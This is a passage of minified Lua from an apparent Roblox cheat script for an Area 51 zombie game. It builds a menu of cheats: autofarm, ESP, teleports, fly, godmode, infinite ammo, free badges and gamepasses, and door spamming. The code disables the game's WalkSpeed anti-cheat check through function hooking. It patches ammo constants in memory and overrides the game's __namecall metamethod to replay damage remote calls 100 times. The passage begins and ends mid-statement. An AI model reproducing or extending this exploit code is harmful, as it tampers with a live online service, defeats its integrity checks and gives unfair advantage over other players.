_G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("Teleports")z:NewDropdown("Weapon Teleports","DropdownInf",{"M14","RILG","R870","CLT1","SBG","SVD"},function(ag)local hum=k.Character.HumanoidRootPart;local aj=hum.CFrame;if ag=="M14"then hum.CFrame=CFrame.new(game:GetService("Workspace").AREA51[ag])wait(.2)hum.CFrame=CFrame.new(aj)elseif ag=="RILG"then hum.CFrame=CFrame.new(232.505737,373.660004,45.4774323,-0.999948323,-2.07754458e-09,0.0101688765,-3.00104475e-09,1,-9.08010804e-08,-0.0101688765,-9.08269016e-08,-0.999948323)elseif ag=="R870"then hum.CFrame=CFrame.new(143.435638,333.659973,499.670258,0.068527095,6.73678642e-08,-0.997649252,2.92282767e-08,1,6.95342521e-08,0.997649252,-3.39245503e-08,0.068527095)elseif ag=="CLT1"then hum.CFrame=CFrame.new(60.6713562,291.579956,262.712402,-0.0193858538,1.378409e-07,0.999812067,1.73167649e-08,1,-1.37531046e-07,-0.999812067,1.46473536e-08,-0.0193858538)elseif ag=="SBG"then hum.CFrame=CFrame.new(3.0812099,267.780121,184.758041,-0.998869121,3.20666018e-08,-0.0475441888,3.84712493e-08,1,-1.33794302e-07,0.0475441888,-1.35472078e-07,-0.998869121)elseif ag=="SVD"then hum.CFrame=CFrame.new(181.740906,306.660126,179.980011,-0.977237761,-295549789e-08,0.212145314,-3.5164706e-08,1,-2.25858496e-08,-0.212145314,-2.95278366e-08,-0.977237761)elseif ag=="blRU"then hum.CFrame=CFrame.new(19.2511063,313.500336,204.38269,0.113481902,7.8155864e08,0.993540049,-2.13239897e-08,1,-7.62284031e-08,-0.993540049,-1.25357014e-08,0.113481902)end end)z:NewDropdown("Teleport to Room","DropdownInf",{"Cafe-Room","Cartons-Room","Code-Door","Computers-Room","Corridor-to-Meeting-Room","Electricity-Room","Emergency-Hole-Down-To-Area","Entrance-To-Area","Main-Room","Entrance"},function(ag)if ag=="Cafe-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CafeRoom.Tables.Table.Table.Model.Part.CFrame elseif ag=="Cartons-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(149.739914,313.500458,194.231888,0.442422092,6.81004985e-06,-0.896806836,1.24363009e-06,1,8.20718469e-06,0.896806836,-4.74633543e-06,0.442422092)elseif ag=="Code-Door"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Door.CFrame elseif ag=="Computers-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(219.700012,310,370.399994,-1,0,0,0,1,0,0,0,-1)elseif ag=="Corridor-to-Meeting-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CorridorToMeetingRoom.Part.CFrame elseif ag=="Electricity-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.ElectricityRoom.Generator1.Base.CFrame elseif ag=="Emergency-Hole-Down-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EmercencyHoleDownToArea.Part.CFrame elseif ag=="Entrance-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EntranceOfArea.Part.CFrame elseif ag=="Main-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.MainRoom.Part.CFrame elseif ag=="Entrance"then hum.CFrame=CFrame.new(327.317322,511.5,397.900269,1,-2.05416537e-08,-2.7642145e-15,2.05416537e-08,1,1.25194637e-08,2.50704388e-15,-1.25194637e-08,1)end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(155382109,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)elseif game.PlaceId==3182083477 then local o="BloodTheme"local x=n.CreateLib("Extreme Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Autofarm:")local z=y:NewSection("Enable/Disable Autofarm")local function A()local B=workspace.CurrentCamera;local C=k.Character;local D=k;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end end;local function J()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.StarterGear end end;for K,v in pairs(game:GetService("Players").LocalPlayer.StarterGear:GetChildren())do if v:IsA("Tool")then v.Parent=game.Players.LocalPlayer.Backpack end end end;local function L()for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end;local function N()for K,v in pairs(game:GetService("Workspace").AREA51.SewerCaptainRoom["Captain Zombie Feeder"].Cage:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end;local function O()local P=k.Character.HumanoidRootPart;function GetWepons(Q)firetouchinterest(P,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end;z:NewToggle("//Autofarm \\","Enables Autofarm for SAKTK",function(R)if R then m.Notify("Enabled Autofarm","Press F to Enable the SAKTK UI to disable autofarm.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})L()N()O()k.CameraMode=Enum.CameraMode.LockFirstPerson;for K,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k.Character end end;game:GetService("StarterGui").TailsPopup.Enabled=false;game:GetService("Players").LocalPlayer.PlayerGui.TailsPopup.Enabled=false;game:GetService("Workspace").Killers:FindFirstChild("Giant"):Destroy()for K,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then repeat wait()mouse1press()l.CoordinateFrame=CFrame.new(l.CoordinateFrame.p,v.Head.CFrame.p)k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-5 until v.Zombie.Health==0;wait()end end else workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)z:NewButton("Unlock all Secrets","Unlocks all the secrets in the game",function()O()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.RadioactiveArea.GiantZombieRoom.GiantZombieEngine.Close.Door2,0)function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("Paper")or v.Name:match("Reward")then GetWepons(v)end end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("TheButton")then GetWepons(v)end end;firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.PlantRoom["Box of Shells"].Box,0)wait(0.2)local a1=k.Character.HumanoidRootPart.CFrame;k.Character.HumanoidRootPart.CFrame=CFrame.new(game:GetService("Workspace").AREA51.ExecutionRoom.Reward.Position)wait(0.2)game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer("M14")k.CFrame=CFrame.new(326.773315,511.5,392.70932,0.982705772,0,-0.185173988,0,1,0,0.185173988,0,0.982705772)end)z:NewButton("Get all Badges","Gives almost every badge.",function()O()firetouchinterest(a,game:GetService("Workspace").AREA51.SecretPath6.Reward)for a2,v in pairs(game:GetService("Workspace").AREA51.Badges:GetDescendants())do if v:IsA("TouchTransmitter")and v.Parent:IsA("Part")then firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,0)wait()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,1)end end end)z:NewButton("Get Gamepasses","Tries to give you gamepasses.",function()game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()game.Players.LocalPlayer.Character.Humanoid.Died:Connect(function()wait(8)game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()J()end)end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP","Crossbow"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Doors AREA51:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("Teleports")z:NewDropdown("Weapon Teleports","DropdownInf",{"M14","RILG","R870","CLT1","SBG","SVD"},function(ag)local hum=k.Character.HumanoidRootPart;local aj=hum.CFrame;if ag=="M14"then hum.CFrame=CFrame.new(106.981911,323.620026,678.865051,0.108975291,-4.31107949e-08,0.994044483,-5.13666043e-09,1,4.39322072e-08,-0.994044483,-9.89359261e-09,0.108975291)wait(.2)hum.CFrame=CFrame.new(aj)elseif ag=="RILG"then hum.CFrame=CFrame.new(232.505737,373.660004,45.4774323,-0.999948323,-2.07754458e-09,0.0101688765,-3.00104475e-09,1,-9.08010804e-08,-0.0101688765,-9.08269016e-08,-0.999948323)elseif ag=="R870"then hum.CFrame=CFrame.new(143.435638,333.659973,499.670258,0.068527095,6.73678642e-08,-0.997649252,2.92282767e-08,1,6.95342521e-08,0.997649252,-3.39245503e-08,0.068527095)elseif ag=="CLT1"then hum.CFrame=CFrame.new(60.6713562,291.579956,262.712402,-0.0193858538,1.378409e-07,0.999812067,1.73167649e-08,1,-1.37531046e-07,-0.999812067,1.46473536e-08,-0.0193858538)elseif ag=="SBG"then hum.CFrame=CFrame.new(3.0812099,267.780121,184.758041,-0.998869121,3.20666018e-08,-0.0475441888,3.84712493e-08,1,-1.33794302e-07,0.0475441888,-1.35472078e-07,-0.998869121)elseif ag=="SVD"then hum.CFrame=CFrame.new(181.740906,306.660126,179.980011,-0.977237761,-295549789e-08,0.212145314,-3.5164706e-08,1,-2.25858496e-08,-0.212145314,-2.95278366e-08,-0.977237761)elseif ag=="blRU"then hum.CFrame=CFrame.new(19.2511063,313.500336,204.38269,0.113481902,7.8155864e08,0.993540049,-2.13239897e-08,1,-7.62284031e-08,-0.993540049,-1.25357014e-08,0.113481902)end end)z:NewDropdown("Teleport to Room","DropdownInf",{"Cafe-Room","Cartons-Room","Code-Door","Computers-Room","Corridor-to-Meeting-Room","Electricity-Room","Emergency-Hole-Down-To-Area","Entrance-To-Area","Main-Room","Entrance"},function(ag)if ag=="Cafe-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CafeRoom.Tables.Table.Table.Model.Part.CFrame elseif ag=="Cartons-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(149.739914,313.500458,194.231888,0.442422092,6.81004985e-06,-0.896806836,1.24363009e-06,1,8.20718469e-06,0.896806836,-4.74633543e-06,0.442422092)elseif ag=="Code-Door"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Door.CFrame elseif ag=="Computers-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(219.700012,310,370.399994,-1,0,0,0,1,0,0,0,-1)elseif ag=="Corridor-to-Meeting-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CorridorToMeetingRoom.Part.CFrame elseif ag=="Electricity-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.ElectricityRoom.Generator1.Base.CFrame elseif ag=="Emergency-Hole-Down-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EmercencyHoleDownToArea.Part.CFrame elseif ag=="Entrance-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EntranceOfArea.Part.CFrame elseif ag=="Main-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.MainRoom.Part.CFrame elseif ag=="Entrance"then hum.CFrame=CFrame.new(327.317322,511.5,397.900269,1,-2.05416537e-08,-2.7642145e-15,2.05416537e-08,1,1.25194637e-08,2.50704388e-15,-1.25194637e-08,1)end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(155382109,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)elseif 